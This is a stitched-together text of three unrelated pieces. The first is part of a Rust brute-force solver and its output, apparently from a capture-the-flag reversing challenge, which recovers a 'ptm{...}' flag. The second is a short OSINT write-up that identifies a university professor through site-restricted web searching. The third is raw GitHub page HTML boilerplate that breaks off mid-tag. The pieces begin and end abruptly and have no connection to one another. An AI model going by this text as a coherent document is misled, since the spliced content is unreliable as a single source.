INV_FUNCTIONS[i1](r2); if r1 == r2 { println!("{:?}", r1); println!("{:?}", vec![i1, i2, i3, i4, i5, i6, i7]); return r1; } } } } } } } } panic!("Brute force step 1 failed");} // bruteforce the remaining sequence of 7 functions that yields an ouput that starts with `ptm{`fn brute_step_2(reference: Vec<u8>){ for i1 in 0..14 { for i2 in 0..14 { for i3 in 0..14 { for i4 in 0..14 { for i5 in 0..14 { for i6 in 0..14 { for i7 in 0..14 { let mut x: u64 = 0; x \|= 1 << i1; x \|= 1 << i2; x \|= 1 << i3; x \|= 1 << i4; x \|= 1 << i5; x \|= 1 << i6; x \|= 1 << i7; if x.count_ones() != 7 { continue; } let r1 = INV_FUNCTIONS[i1](reference.to_vec()); let r1 = INV_FUNCTIONS[i2](r1); let r1 = INV_FUNCTIONS[i3](r1); let r1 = INV_FUNCTIONS[i4](r1); let r1 = INV_FUNCTIONS[i5](r1); let r1 = INV_FUNCTIONS[i6](r1); let r1 = INV_FUNCTIONS[i7](r1); if r1.starts_with(b"ptm{") { for x in r1 { print!("{}", x as char); } print!("\n"); } } } } } } } }} fn main() { // check that the setup is sane let r1 = RESULT1.to_vec(); assert_eq!(r1, func1_inv(func1(r1.clone()))); assert_eq!(r1, func2_inv(func2(r1.clone()))); assert_eq!(r1, func3_inv(func3(r1.clone()))); assert_eq!(r1, func4_inv(func4(r1.clone()))); assert_eq!(r1, func5_inv(func5(r1.clone()))); assert_eq!(r1, func6_inv(func6(r1.clone()))); assert_eq!(r1, func7_inv(func7(r1.clone()))); assert_eq!(r1, func8_inv(func8(r1.clone()))); assert_eq!(r1, func9_inv(func9(r1.clone()))); assert_eq!(r1, func10_inv(func10(r1.clone()))); assert_eq!(r1, func11_inv(func11(r1.clone()))); assert_eq!(r1, func12_inv(func12(r1.clone()))); assert_eq!(r1, func13_inv(func13(r1.clone()))); assert_eq!(r1, func14_inv(func14(r1.clone()))); // run the bruteforce brute_step_2(brute_step_1());}```Which gives the result:```$ time cargo run --release[159, 91, 170, 77, 137, 115, 185, 199, 151, 69, 59, 246, 125, 88, 183, 111][7, 8, 13, 3, 9, 11, 6]ptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut3_f0rc3}ptm{brut3_f0rc3}ptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut3_f0rc3}ptm{brut¸Õëöñ¸òptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brut3_f0rc3}ptm{brut3_f0rc3}ptm{brut3_f0rc3}ptm{brut¸Õëöñ¸òptm{brut¸Õëöñ¸òptm{brut3_f0rc3}ptm{brut¸Õëöñ¸òptm{brutÌ ÏÌptm{brut3_f0rc3}ptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌptm{brutÌ ÏÌcargo run --release 5.36s user 0.01s system 99% cpu 5.390 total```
The key point of the description is that, this guy should satisfy both these two conditions: * Assistant Professor for the Computer Science department* Associate Professor for the Mathematics department Sure enough, this guy should be in UCSD, so we need to use `site:` in search engine grammar to restrict our search. At last the keyword for search engine is: ```site:ucsd.edu intext:Assistant Professor Computer Science + Associate Professor Mathematics``` We use this to search and browse our searching result, and find something interesting in 7th result: > https://math.ucsd.edu/research/all-research-areas/ In the faculty table, there is a guy: * Daniel Kane + Associate Professor + Associate Professor of Computer Science And we can determine that this one is what we need to find. I have to say, this guy has two titles, which is REALLY talented! One step ahead, this guy was born in 1989, and won IMO gold medals two times in 2002 and 2003 representing the USA, which is REALLY REALLY amazing... Therefore, the flag is: ```Daniel Kane```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" 